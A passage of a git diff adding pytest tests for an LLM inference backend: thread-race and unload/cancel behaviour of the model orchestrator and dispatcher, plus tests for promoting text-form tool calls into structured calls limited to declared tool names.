+    import routes.inference as ri
+    from core.inference import llama_keepwarm
+
+    gate_entered = {"v": False}
+
+    class _Gate:
+        async def __aenter__(self):
+            gate_entered["v"] = True
+            return self
+
+        async def __aexit__(self, *a):
+            return False
+
+    class _LlamaBackend:
+        is_active = True
+        is_loaded = True
+        model_identifier = "gguf-model"
+
+        def __init__(self):
+            self.unloaded = False
+
+        def unload_model(self):
+            self.unloaded = True
+
+    llama = _LlamaBackend()
+
+    class _Unsloth:
+        def get_loading_model(self):
+            return None
+
+    monkeypatch.setattr(ri, "get_llama_cpp_backend", lambda: llama)
+    monkeypatch.setattr(ri, "get_inference_backend", lambda: _Unsloth())
+    monkeypatch.setattr(ri, "is_registered_native_path_label", lambda a, b: False)
+    monkeypatch.setattr(llama_keepwarm, "inference_lifecycle_gate", lambda: _Gate())
+    monkeypatch.setattr(llama_keepwarm, "note_model_unloaded", lambda: None)
+
+    req = ri.UnloadRequest(model_path = "gguf-model")
+    resp = _asyncio.run(ri.unload_model(req, current_subject = "s"))
+
+    assert getattr(resp, "status", None) == "unloaded"
+    assert llama.unloaded is True
+    assert gate_entered["v"] is True, "loaded GGUF unload must still take the gate"
+
+
+def test_unload_of_mismatched_loading_gguf_skips_off_gate_fast_path(monkeypatch):
+    # A still-loading GGUF X (is_active, not is_loaded) must NOT be torn down by the
+    # off-gate fast path when /unload names a DIFFERENT model Y. The single llama-server
+    # can only load one GGUF at a time, so this fast path is "stop loading THIS model";
+    # without a target check it fires for any in-flight GGUF and would abort an unrelated
+    # load (e.g. a second tab unloading Y kills the load of X). A mismatched target must
+    # fall through to the lifecycle gate (where, in production, it waits out X's /load and
+    # then no-ops) instead of taking the off-gate teardown.
+    import asyncio as _asyncio
+
+    import routes.inference as ri
+    from core.inference import llama_keepwarm
+
+    gate_entered = {"v": False}
+
+    class _Gate:
+        async def __aenter__(self):
+            gate_entered["v"] = True
+            return self
+
+        async def __aexit__(self, *a):
+            return False
+
+    class _LlamaBackend:
+        is_active = True
+        is_loaded = False
+        model_identifier = "gguf-X"
+
+        def __init__(self):
+            self.unloaded = False
+
+        def unload_model(self):
+            self.unloaded = True
+
+    llama = _LlamaBackend()
+
+    class _Unsloth:
+        def get_loading_model(self):
+            return None  # no Unsloth load in flight -> Unsloth fast path skipped
+
+    monkeypatch.setattr(ri, "get_llama_cpp_backend", lambda: llama)
+    monkeypatch.setattr(ri, "get_inference_backend", lambda: _Unsloth())
+    monkeypatch.setattr(ri, "is_registered_native_path_label", lambda a, b: False)
+    monkeypatch.setattr(llama_keepwarm, "inference_lifecycle_gate", lambda: _Gate())
+    monkeypatch.setattr(llama_keepwarm, "note_model_unloaded", lambda: None)
+
+    req = ri.UnloadRequest(model_path = "gguf-Y")  # different from the loading model X
+    _asyncio.run(ri.unload_model(req, current_subject = "s"))
+
+    assert gate_entered["v"] is True, (
+        "a mismatched-target unload must not use the off-gate GGUF fast path; "
+        "it would cancel the wrong in-flight load"
+    )
+
+
+# ----------------------------------------------------------------------------
+# cancel_load clears its loading marker BEFORE tearing the subprocess down, so a
+# racing off-gate load_model observes the cancel during the shutdown window.
+# ----------------------------------------------------------------------------
+
+
+def test_cancel_load_clears_marker_before_shutdown(monkeypatch):
+    # cancel_load runs off the lifecycle gate, concurrently with a load_model that
+    # rechecks the loading marker before each spawn to observe the cancel.
+    # _shutdown_subprocess can block (tearing a live child down / joining the compare
+    # dispatcher), so discarding the marker only AFTER it leaves a long window in which
+    # that load_model reads the marker still set, passes its pre-spawn recheck, and
+    # spawns + loads the model after /unload already reported it cancelled. The marker
+    # (and local state) must be cleared before the teardown.
+    o = _bare_orchestrator()
+    o.loading_models = {"m"}
+    o.active_model_name = "m"
+    o.models = {"m": {}}
+
+    at_shutdown = {}
+
+    def record_shutdown(timeout = 5):
+        at_shutdown["marker_present"] = "m" in o.loading_models
+        at_shutdown["active"] = o.active_model_name
+        at_shutdown["models"] = dict(o.models)
+
+    monkeypatch.setattr(o, "_shutdown_subprocess", record_shutdown)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("cancel_load must not send a worker command")
+    )
+
+    assert o.cancel_load("m") is True
+    assert at_shutdown.get("marker_present") is False, (
+        "the loading marker must be cleared before _shutdown_subprocess so a concurrent "
+        "load_model pre-spawn recheck observes the cancel during the shutdown window"
+    )
+    assert at_shutdown.get("active") is None
+    assert at_shutdown.get("models") == {}
+    assert "m" not in o.loading_models
+    assert o.active_model_name is None
+    assert o.models == {}
+
+
+def test_cancel_load_reclears_state_when_racing_load_repopulates_during_teardown(monkeypatch):
+    # cancel_load (off the lifecycle gate) can race a load_model whose worker already
+    # queued its successful "loaded" reply. cancel_load discards the loading marker and
+    # clears the local mirrors, then tears the subprocess down; but the still-running
+    # load_model thread can consume that "loaded" DURING the teardown window and repopulate
+    # active_model_name/models. _shutdown_subprocess nulls the queues but never touches those
+    # mirrors, so without a second clear /unload reports success while the backend keeps
+    # advertising a model whose worker was just killed. cancel_load must re-clear after the
+    # teardown so no phantom loaded model survives.
+    import types
+
+    from utils import transformers_version as _tv
+
+    o = _bare_orchestrator()
+    o.loading_models = {"m"}
+    o.active_model_name = None
+    o.models = {}
+    o._proc = None  # no prior subprocess -> load_model goes straight to the spawn loop
+
+    monkeypatch.setattr(_tv, "needs_transformers_5", lambda name: False)
+    monkeypatch.setattr(orch_mod, "prepare_gpu_selection", lambda *a, **k: ([], {}))
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: False)
+    monkeypatch.setattr(o, "_spawn_subprocess", lambda cfg: None)
+
+    parked = threading.Event()  # load_model is parked in _wait_response("loaded")
+    release_loaded = threading.Event()  # cancel_load lets the load consume "loaded"
+    load_done = threading.Event()
+
+    def blocking_wait_response(expected, timeout = 300.0):
+        parked.set()
+        assert release_loaded.wait(timeout = 5)
+        return {
+            "type": "loaded",
+            "success": True,
+            "model_info": {"identifier": "m", "display_name": "m"},
+        }
+
+    monkeypatch.setattr(o, "_wait_response", blocking_wait_response)
+
+    load_result: dict = {}
+
+    def run_load():
+        try:
+            load_result["ok"] = o.load_model(
+                types.SimpleNamespace(identifier = "m", gguf_variant = None)
+            )
+        except Exception as exc:  # noqa: BLE001
+            load_result["exc"] = exc
+        finally:
+            load_done.set()
+
+    loader = threading.Thread(target = run_load)
+    loader.start()
+    assert parked.wait(timeout = 5), "load_model must reach _wait_response"
+
+    # The teardown IS the window in which the racing load repopulates the mirrors: the
+    # marker is already discarded here, so release the load and wait for it to finish
+    # repopulating, mirroring the 0.5s cancel-settle inside the real _shutdown_subprocess.
+    def racing_shutdown(timeout = 0.5):
+        release_loaded.set()
+        assert load_done.wait(timeout = 5), "the racing load must repopulate during teardown"
+
+    monkeypatch.setattr(o, "_shutdown_subprocess", racing_shutdown)
+
+    assert o.cancel_load("m") is True
+    loader.join(timeout = 5)
+
+    # Fail-without: load_model set active_model_name/models during racing_shutdown and
+    # cancel_load left them set, so the backend advertises a model whose worker was killed.
+    assert o.active_model_name is None, "cancel_load must not leave a repopulated active model"
+    assert o.models == {}, "cancel_load must not leave a repopulated models mirror"
+    assert "m" not in o.loading_models
+
+
+# ----------------------------------------------------------------------------
+# A dispatched (compare-mode) request that starts the dispatcher and then bails on
+# a racing unload must stop the dispatcher it started, or that orphaned dispatcher
+# steals the worker's "unloaded" reply and hangs unload_model on its 300s timeout.
+# ----------------------------------------------------------------------------
+
+
+def test_dispatched_bail_stops_orphan_dispatcher_it_started(monkeypatch):
+    # The request passes the pre-work _unload_pending check and starts the dispatcher
+    # (none was running), then an unload sets _unload_pending so the under-lock recheck
+    # bails. The just-started dispatcher, left running with no mailboxes, competes with
+    # unload_model()'s _wait_response for the worker's "unloaded" reply off the shared
+    # resp_queue and drops it as unroutable, hanging the unload until its 300s timeout.
+    # The bail must stop the dispatcher it started.
+    o = _bare_orchestrator()
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._unload_pending = False
+    o._dispatcher_thread = None  # none running -> this call starts it
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+
+    started = {"v": False}
+    stopped = {"v": False}
+
+    def fake_start():
+        started["v"] = True
+        o._dispatcher_thread = _AliveDispatcher()
+        return True  # _start_dispatcher returns True for the caller that spawned it
+
+    def fake_stop():
+        stopped["v"] = True
+        o._dispatcher_thread = None
+
+    monkeypatch.setattr(o, "_start_dispatcher", fake_start)
+    monkeypatch.setattr(o, "_stop_dispatcher", fake_stop)
+
+    # An unload flips _unload_pending after the pre-work check but before registration.
+    def flip(*a, **k):
+        o._unload_pending = True
+        return {"type": "generate", "request_id": "r1"}
+
+    monkeypatch.setattr(o, "_build_generate_cmd", flip)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send generate after the unload flipped")
+    )
+
+    out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+    assert started["v"], "this call started the dispatcher"
+    assert stopped["v"], "the bail must stop the dispatcher it started (no other mailboxes)"
+    assert o._mailboxes == {}
+
+
+def test_dispatched_bail_keeps_dispatcher_with_other_active_mailbox(monkeypatch):
+    # Guard against over-stopping: if another compare request registered a mailbox on the
+    # dispatcher this call started, the bail must NOT stop it, or that request's token
+    # routing dies mid-stream.
+    o = _bare_orchestrator()
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._unload_pending = False
+    o._dispatcher_thread = None
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_start_dispatcher", lambda: setattr(o, "_dispatcher_thread", _AliveDispatcher())
+    )
+    monkeypatch.setattr(
+        o,
+        "_stop_dispatcher",
+        lambda: pytest.fail("must not stop a dispatcher another compare request is using"),
+    )
+
+    # A concurrent compare request registers its mailbox, then an unload flips the flag.
+    def flip(*a, **k):
+        o._mailboxes["other"] = object()
+        o._unload_pending = True
+        return {"type": "generate", "request_id": "r1"}
+
+    monkeypatch.setattr(o, "_build_generate_cmd", flip)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send generate after the unload flipped")
+    )
+
+    out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+    assert set(o._mailboxes) == {"other"}, "the other request's mailbox is untouched"
+
+
+def test_dispatched_bail_keeps_preexisting_dispatcher(monkeypatch):
+    # Guard: if the dispatcher was already running before this request (an earlier compare
+    # request started it), a bail must not stop it even with no mailboxes now -- this
+    # request did not start it and another may re-use it. Only the call that starts an
+    # otherwise-idle dispatcher during the race is responsible for stopping it.
+    o = _bare_orchestrator()
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._unload_pending = False
+    o._dispatcher_thread = _AliveDispatcher()  # already running
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(o, "_start_dispatcher", lambda: None)
+    monkeypatch.setattr(
+        o, "_stop_dispatcher", lambda: pytest.fail("must not stop a pre-existing dispatcher")
+    )
+
+    def flip(*a, **k):
+        o._unload_pending = True
+        return {"type": "generate", "request_id": "r1"}
+
+    monkeypatch.setattr(o, "_build_generate_cmd", flip)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send generate after the unload flipped")
+    )
+
+    out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+
+
+# ----------------------------------------------------------------------------
+# load_model rechecks the loading marker AFTER _wait_response("loaded") and
+# BEFORE publishing -- item #6. cancel_load's post-teardown re-clear only wipes a
+# repopulation that lands during its shutdown; a publish that lands after
+# cancel_load returns survives it, so the recheck must abort the publish itself.
+# ----------------------------------------------------------------------------
+
+
+def test_load_model_aborts_publish_when_cancelled_after_wait_response(monkeypatch):
+    # cancel_load (off the lifecycle gate) discards the loading marker BEFORE its teardown
+    # and re-clears the mirrors AFTER it. A racing load_model can consume its worker's
+    # already-queued "loaded" reply and reach the publish block only AFTER cancel_load has
+    # fully returned -- so cancel_load's post-teardown re-clear cannot undo that publish.
+    # Without a marker recheck between _wait_response("loaded") and the publish, load_model
+    # advertises active_model_name/models for a model /unload already reported cancelled,
+    # over a subprocess cancel_load just killed. The recheck must observe the discarded
+    # marker and abort the publish.
+    import types
+
+    from utils import transformers_version as _tv
+
+    o = _bare_orchestrator()
+    o.loading_models = {"m"}
+    o.active_model_name = None
+    o.models = {}
+    o._proc = None  # no prior subprocess -> load_model goes straight to the spawn loop
+
+    monkeypatch.setattr(_tv, "needs_transformers_5", lambda name: False)
+    monkeypatch.setattr(orch_mod, "prepare_gpu_selection", lambda *a, **k: ([], {}))
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: False)
+    monkeypatch.setattr(o, "_spawn_subprocess", lambda cfg: None)
+    # cancel_load tears the worker down; a no-op keeps the test off real subprocesses.
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: None)
+
+    parked = threading.Event()  # load_model reached _wait_response("loaded")
+    cancel_done = threading.Event()  # cancel_load fully returned (marker discarded + re-clear)
+    load_done = threading.Event()
+
+    def blocking_wait_response(expected, timeout = 300.0):
+        parked.set()
+        # Do not consume "loaded" until cancel_load has fully returned, so the publish
+        # would land AFTER cancel_load's post-teardown re-clear -- the window the
+        # re-clear alone cannot cover.
+        assert cancel_done.wait(timeout = 5)
+        return {
+            "type": "loaded",
+            "success": True,
+            "model_info": {"identifier": "m", "display_name": "m"},
+        }
+
+    monkeypatch.setattr(o, "_wait_response", blocking_wait_response)
+
+    load_result: dict = {}
+
+    def run_load():
+        try:
+            load_result["ok"] = o.load_model(
+                types.SimpleNamespace(identifier = "m", gguf_variant = None)
+            )
+        except Exception as exc:  # noqa: BLE001
+            load_result["exc"] = exc
+        finally:
+            load_done.set()
+
+    loader = threading.Thread(target = run_load)
+    loader.start()
+    assert parked.wait(timeout = 5), "load_model must reach _wait_response"
+
+    # cancel_load runs to completion while the load is parked: it discards the marker and
+    # re-clears the mirrors (post-teardown), then returns. Only then let the load consume
+    # "loaded" and attempt to publish.
+    assert o.cancel_load("m") is True
+    cancel_done.set()
+
+    loader.join(timeout = 5)
+    assert load_done.is_set()
+
+    # Fail-without: load_model published active_model_name/models for 'm' AFTER cancel_load
+    # returned, advertising a cancelled model over a killed subprocess.
+    assert load_result.get("ok") is False, "the cancelled load must not report success"
+    assert o.active_model_name is None, "must not publish a cancelled model's active name"
+    assert o.models == {}, "must not publish a cancelled model's mirror"
+    assert "m" not in o.loading_models
+
+
+# ----------------------------------------------------------------------------
+# Concurrent compare-mode requests must not each spawn a dispatcher. Compare mode
+# (_generate_dispatched) deliberately bypasses _gen_lock, so two requests can reach
+# _start_dispatcher at once. Without _dispatcher_lifecycle_lock the check-then-spawn
+# races: both observe no live dispatcher and each start one. The extra dispatcher is
+# orphaned (self._dispatcher_thread tracks only the last) and later consumes the
+# "unloaded" reply off the shared resp_queue before unload_model's _wait_response,
+# hanging the unload on its 300s timeout. The lifecycle lock must serialize the
+# check-then-spawn so exactly one dispatcher thread is ever created.
+# ----------------------------------------------------------------------------
+
+
+def test_concurrent_start_dispatcher_spawns_exactly_one():
+    import queue as _queue
+
+    o = _bare_orchestrator()
+    o._resp_queue = _queue.Queue()  # real queue so the dispatcher loop blocks and stays alive
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._dispatcher_thread = None
+    o._dispatcher_stop = threading.Event()
+    o._dispatcher_lifecycle_lock = threading.Lock()
+
+    n = 32
+    # A barrier aligns every thread on the check-then-spawn window: without the lifecycle
+    # lock several would clear the "is a dispatcher alive?" check together and each spawn one.
+    barrier = threading.Barrier(n)
+    results: list = []
+    results_lock = threading.Lock()
+
+    def racer():
+        barrier.wait()
+        started = o._start_dispatcher()
+        with results_lock:
+            results.append(started)
+
+    threads = [threading.Thread(target = racer, name = f"racer-{i}") for i in range(n)]
+    for t in threads:
+        t.start()
+    for t in threads:
+        t.join(timeout = 5)
+
+    try:
+        # _start_dispatcher returns True only for the caller that actually spawned a thread.
+        # Exactly one caller may win; every other must observe the dispatcher alive and bail.
+        assert results.count(True) == 1, f"expected exactly one spawn, got {results.count(True)}"
+        assert results.count(False) == n - 1
+        # And exactly one live dispatcher thread exists -- no orphan racing resp_queue.
+        live = [
+            t for t in threading.enumerate() if t.name == "inference-dispatcher" and t.is_alive()
+        ]
+        assert len(live) == 1, f"expected one live dispatcher, found {len(live)}"
+        assert o._dispatcher_thread is live[0]
+    finally:
+        o._stop_dispatcher()
+
+    # Stop joins and clears it; no dispatcher thread must survive.
+    assert o._dispatcher_thread is None
+    remaining = [
+        t for t in threading.enumerate() if t.name == "inference-dispatcher" and t.is_alive()
+    ]
+    assert remaining == [], "dispatcher must be stopped and joined"
+
+
+# ----------------------------------------------------------------------------
+# A compare request whose _start_dispatcher is queued behind an unload's
+# _stop_dispatcher must NOT spawn a fresh dispatcher. The idle-dispatcher stop
+# and the queued start both serialize on _dispatcher_lifecycle_lock; if the
+# queued start spawned a new dispatcher after the stop, it would become the
+# resp_queue reader and consume unload_model's "unloaded" reply (unroutable, so
+# dropped) before _wait_response saw it -- hanging the unload on its 300s
+# timeout. unload_model sets _unload_pending under the SAME lifecycle lock ahead
+# of the stop, so _start_dispatcher observes it and refuses.
+# ----------------------------------------------------------------------------
+
+
+def test_start_dispatcher_refuses_while_unload_pending():
+    # Direct unit guard: with an unload in progress (_unload_pending set under the
+    # lifecycle lock by unload_model), _start_dispatcher must refuse and spawn nothing,
+    # even though no dispatcher is currently running.
+    import queue as _queue
+
+    o = _bare_orchestrator()
+    o._resp_queue = _queue.Queue()  # a spawned dispatcher would block-read here and stay alive
+    o._dispatcher_thread = None
+    o._dispatcher_stop = threading.Event()
+    o._dispatcher_lifecycle_lock = threading.Lock()
+    o._unload_pending = True
+
+    started = o._start_dispatcher()
+
+    assert started is False, "must not start a dispatcher while an unload is pending"
+    assert o._dispatcher_thread is None, "no dispatcher thread may be created"
+    live = [t for t in threading.enumerate() if t.name == "inference-dispatcher" and t.is_alive()]
+    assert live == [], "no dispatcher may exist to consume the unloaded reply"
+
+
+def test_start_dispatcher_resumes_after_unload_clears():
+    # Guard the other direction: once the unload finishes and clears _unload_pending, a
+    # later compare request must be able to start the dispatcher again (the gate must not
+    # wedge). Proves the refusal above is scoped to the unload, not permanent.
+    import queue as _queue
+
+    o = _bare_orchestrator()
+    o._resp_queue = _queue.Queue()
+    o._dispatcher_thread = None
+    o._dispatcher_stop = threading.Event()
+    o._dispatcher_lifecycle_lock = threading.Lock()
+    o._unload_pending = False
+
+    try:
+        assert (
+            o._start_dispatcher() is True
+        ), "a fresh dispatcher must start once no unload is pending"
+        assert o._dispatcher_thread is not None and o._dispatcher_thread.is_alive()
+    finally:
+        o._stop_dispatcher()
+
+    assert o._dispatcher_thread is None
+
+
+def test_queued_start_behind_unload_stop_spawns_no_dispatcher():
+    # Codex's exact ordering, forced deterministically: an unload holds
+    # _dispatcher_lifecycle_lock across its _stop_dispatcher (the idle dispatcher's join
+    # is gated by an event), while a compare request's _start_dispatcher is queued behind
+    # it on the same lock. When the stop releases the lock the queued start must observe
+    # _unload_pending (set under the lock ahead of the stop) and refuse: no fresh
+    # dispatcher may be left running to steal the "unloaded" reply.
+    import queue as _queue
+
+    o = _bare_orchestrator()
+    o._resp_queue = _queue.Queue()  # a spawned dispatcher would block-read here and stay alive
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._dispatcher_stop = threading.Event()
+    o._dispatcher_lifecycle_lock = threading.Lock()
+    o._unload_pending = False
+
+    start_queued = threading.Event()  # release the stop's join once the start is queued behind it
+    join_may_finish = threading.Event()
+
+    class _IdleDispatcher:
+        # Stand-in for the idle compare-mode dispatcher the unload stops. Its join blocks
+        # until we confirm the compare _start_dispatcher is queued behind the stop, so the
+        # stop provably holds _dispatcher_lifecycle_lock across that window.
+        def is_alive(self):
+            return True
+
+        def join(self, timeout = None):
+            assert start_queued.wait(timeout = 5), "compare start must queue behind the stop"
+            assert join_may_finish.wait(timeout = 5)
+
+    o._dispatcher_thread = _IdleDispatcher()
+
+    def unload_side():
+        # unload_model's sequence: set _unload_pending under the lifecycle lock, then stop
+        # the idle dispatcher (also under the lock, via _wait_dispatcher_idle).
+        with o._dispatcher_lifecycle_lock:
+            o._unload_pending = True
+        o._stop_dispatcher()
+
+    started_result = {}
+
+    def compare_side():
+        started_result["v"] = o._start_dispatcher()
+
+    u = threading.Thread(target = unload_side, name = "unload-side")
+    u.start()
+    # Let the unload set _unload_pending, enter _stop_dispatcher, and block in the gated join
+    # while holding the lifecycle lock.
+    time.sleep(0.2)
+
+    c = threading.Thread(target = compare_side, name = "compare-side")
+    c.start()
+    # Let the compare _start_dispatcher block on the lifecycle lock (queued behind the stop).
+    time.sleep(0.2)
+
+    start_queued.set()  # the start is now queued behind the stop
+    join_may_finish.set()  # let the stop's join complete and release the lock
+
+    u.join(timeout = 5)
+    c.join(timeout = 5)
+
+    assert started_result.get("v") is False, "the queued start must refuse while unloading"
+    assert o._dispatcher_thread is None, "the stop cleared it and the queued start spawned nothing"
+    live = [t for t in threading.enumerate() if t.name == "inference-dispatcher" and t.is_alive()]
+    assert live == [], "no fresh dispatcher may be left to consume the unloaded reply"
diff --git a/studio/backend/tests/test_passthrough_healing.py b/studio/backend/tests/test_passthrough_healing.py
new file mode 100644
index 0000000000..da261e8d0d
--- /dev/null
+++ b/studio/backend/tests/test_passthrough_healing.py
@@ -0,0 +1,1449 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Unit tests for core/inference/passthrough_healing.py: promoting text-form
+tool calls back into structured calls on the client-tool passthrough. The
+route-level wiring (OpenAI / Anthropic / Responses endpoints) is covered in
+their own endpoint test files; this file exercises the shared state machine
+and helpers directly.
+"""
+
+from __future__ import annotations
+
+import json
+import sys
+from pathlib import Path
+
+import pytest
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+from core.inference.passthrough_healing import (  # noqa: E402
+    StreamToolCallHealer,
+    heal_gate,
+    heal_openai_message,
+    nudge_messages,
+    nudge_should_retry,
+    response_has_promotable_calls,
+)
+
+TOOLS = [
+    {"type": "function", "function": {"name": "Bash", "parameters": {}}},
+    {"type": "function", "function": {"name": "Read", "parameters": {}}},
+]
+
+BASH_COMMAND_TOOL = {
+    "type": "function",
+    "function": {
+        "name": "Bash",
+        "parameters": {
+            "type": "object",
+            "properties": {"command": {"type": "string"}},
+            "required": ["command"],
+        },
+    },
+}
+XML_BASH = '<tool_call>{"name":"Bash","arguments":{"cmd":"ls"}}</tool_call>'
+XML_UNDECLARED = '<tool_call>{"name":"Nuke","arguments":{}}</tool_call>'
+
+
+def _events_text(events):
+    return "".join(text for kind, text in events if kind == "text")
+
+
+def _events_calls(events):
+    return [call for kind, call in events if kind == "tool_call"]
+
+
+class TestHealGate:
+    def test_returns_declared_names(self):
+        assert heal_gate(None, TOOLS) == {"Bash", "Read"}
+        assert heal_gate(True, TOOLS) == {"Bash", "Read"}
+
+    def test_opt_out_and_no_tools(self):
+        assert heal_gate(False, TOOLS) is None
+        assert heal_gate(None, []) is None
+        assert heal_gate(None, None) is None
+
+    def test_malformed_tool_entries_ignored(self):
+        assert heal_gate(None, ["nonsense", {"function": "x"}, {}]) is None
+
+    def test_tool_choice_none_disables(self):
+        assert heal_gate(None, TOOLS, "none") is None
+
+    def test_tool_choice_forced_function_narrows_allowlist(self):
+        forced = {"type": "function", "function": {"name": "Bash"}}
+        assert heal_gate(None, TOOLS, forced) == {"Bash"}
+
+    def test_tool_choice_forced_undeclared_function_disables(self):
+        forced = {"type": "function", "function": {"name": "Nuke"}}
+        assert heal_gate(None, TOOLS, forced) is None
+
+    def test_tool_choice_auto_and_required_keep_full_set(self):
+        assert heal_gate(None, TOOLS, "auto") == {"Bash", "Read"}
+        assert heal_gate(None, TOOLS, "required") == {"Bash", "Read"}
+
+    def test_tool_choice_unrecognized_dict_keeps_full_set(self):
+        assert heal_gate(None, TOOLS, {"type": "function"}) == {"Bash", "Read"}
+
+
+class TestHealOpenaiMessage:
+    def test_promotes_xml_and_strips_content(self):
+        msg = {"role": "assistant", "content": XML_BASH}
+        assert heal_openai_message(msg, {"Bash"}) is True
+        assert msg["content"] is None
+        (call,) = msg["tool_calls"]
+        assert call["function"]["name"] == "Bash"
+        assert json.loads(call["function"]["arguments"]) == {"cmd": "ls"}
+
+    def test_keeps_surrounding_prose(self):
+        msg = {"role": "assistant", "content": f"Let me check.\n{XML_BASH}"}
+        assert heal_openai_message(msg, {"Bash"}) is True
+        assert msg["content"] == "Let me check."
+
+    def test_undeclared_name_not_promoted(self):
+        msg = {"role": "assistant", "content": XML_UNDECLARED}
+        assert heal_openai_message(msg, {"Bash"}) is False
+        assert msg["content"] == XML_UNDECLARED
+        assert "tool_calls" not in msg
+
+    def test_structured_calls_untouched(self):
+        msg = {"role": "assistant", "content": XML_BASH, "tool_calls": [{"id": "x"}]}
+        assert heal_openai_message(msg, {"Bash"}) is False
+        assert msg["content"] == XML_BASH
+
+    def test_prose_only_untouched(self):
+        msg = {"role": "assistant", "content": "just an answer"}
+        assert heal_openai_message(msg, {"Bash"}) is False
+
+    def test_bare_string_arguments_use_schema_key(self):
+        msg = {
+            "role": "assistant",
+            "content": '<tool_call>{"name":"Bash","arguments":"echo hi"}</tool_call>',
+        }
+        assert heal_openai_message(msg, {"Bash"}, [BASH_COMMAND_TOOL]) is True
+        args = json.loads(msg["tool_calls"][0]["function"]["arguments"])
+        assert args == {"command": "echo hi"}
+
+    def test_bare_string_arguments_decline_ambiguous_schema(self):
+        msg = {
+            "role": "assistant",
+            "content": '<tool_call>{"name":"Bash","arguments":"echo hi"}</tool_call>',
+        }
+        assert heal_openai_message(msg, {"Bash"}, TOOLS) is False
+        assert "tool_calls" not in msg
+
+    def test_mixed_declared_and_undeclared_promotes_declared_keeps_undeclared_text(self):
+        # Span-exact removal: only the promoted Bash markup is dropped; the
+        # undeclared Nuke call's text stays in the content byte-intact.
+        content = f"pre {XML_BASH} mid {XML_UNDECLARED} post"
+        msg = {"role": "assistant", "content": content}
+        assert heal_openai_message(msg, {"Bash"}) is True
+        (call,) = msg["tool_calls"]
+        assert call["function"]["name"] == "Bash"
+        assert XML_UNDECLARED in msg["content"]
+        assert "pre" in msg["content"] and "post" in msg["content"]
+        assert XML_BASH not in msg["content"]
+
+    def test_multiple_declared_calls_all_promoted(self):
+        content = f"{XML_BASH} and {XML_BASH}"
+        msg = {"role": "assistant", "content": content}
+        assert heal_openai_message(msg, {"Bash"}) is True
+        assert len(msg["tool_calls"]) == 2
+
+    def test_mixed_formats_promote_in_document_order(self):
+        func_read = "<function=Read><parameter=path>a.txt</parameter></function>"
+        content = f"{func_read} then {XML_BASH}"
+        msg = {"role": "assistant", "content": content}
+        assert heal_openai_message(msg, {"Bash", "Read"}) is True
+        assert [call["function"]["name"] for call in msg["tool_calls"]] == ["Read", "Bash"]
+        assert msg["content"] == "then"
+
+    def test_unparseable_closed_block_not_deleted(self):
+        # A closed <tool_call> block whose body never parses is model output,
+        # not a promotable call; it must survive promotion of its neighbor.
+        garbage = "<tool_call>not json at all</tool_call>"
+        content = f"{XML_BASH} {garbage}"
+        msg = {"role": "assistant", "content": content}
+        assert heal_openai_message(msg, {"Bash"}) is True
+        assert garbage in msg["content"]
+
+
+class TestStreamHealer:
+    def test_plain_text_passes_through(self):
+        healer = StreamToolCallHealer({"Bash"})
+        events = healer.feed("hello ") + healer.feed("world") + healer.finalize()
+        assert _events_text(events) == "hello world"
+        assert not _events_calls(events)
+
+    def test_complete_call_in_one_chunk(self):
+        healer = StreamToolCallHealer({"Bash"})
+        events = healer.feed(f"On it. {XML_BASH}") + healer.finalize()
+        assert _events_text(events) == "On it. "
+        (call,) = _events_calls(events)
+        assert call["function"]["name"] == "Bash"
+        assert healer.healed
+
+    def test_signal_split_across_chunks(self):
+        healer = StreamToolCallHealer({"Bash"})
+        events = []
+        for piece in ["<tool", '_call>{"name":"Bash",', '"arguments":{}}</tool_call>']:
+            events += healer.feed(piece)
+        events += healer.finalize()
+        assert _events_text(events) == ""
+        assert len(_events_calls(events)) == 1
+
+    def test_closed_malformed_tool_block_flushes_immediately(self):
+        healer = StreamToolCallHealer({"Bash"})
+        events = healer.feed("<tool_call>not json</tool_call> after")
+        assert _events_text(events) == "<tool_call>not json</tool_call> after"
+        assert not _events_calls(events)
+
+    def test_mixed_formats_stream_in_document_order(self):
+        healer = StreamToolCallHealer({"Bash", "Read"})
+        func_read = "<function=Read><parameter=path>a.txt</parameter></function>"
+        events = healer.feed(f"{func_read} then {XML_BASH}") + healer.finalize()
+        assert [call["function"]["name"] for call in _events_calls(events)] == ["Read", "Bash"]
+        assert _events_text(events).strip() == "then"
+
+    def test_false_alarm_html_flushes(self):
+        healer = StreamToolCallHealer({"Bash"})
+        events = healer.feed("use the <div> tag") + healer.finalize()
+        assert _events_text(events) == "use the <div> tag"
+        assert not _events_calls(events)
+
+    def test_partial_signal_tail_held_then_flushed_at_end(self):
+        healer = StreamToolCallHealer({"Bash"})
+        events = healer.feed("trailing <tool")
+        assert _events_text(events) == "trailing "  # tail held back
+        events += healer.finalize()
+        assert _events_text(events) == "trailing <tool"
+
+    def test_mixed_calls_promote_declared_flush_undeclared_in_order(self):
+        # Declared + undeclared in the same buffer: the declared call is
+        # promoted, the undeclared markup flushes as text, and event order
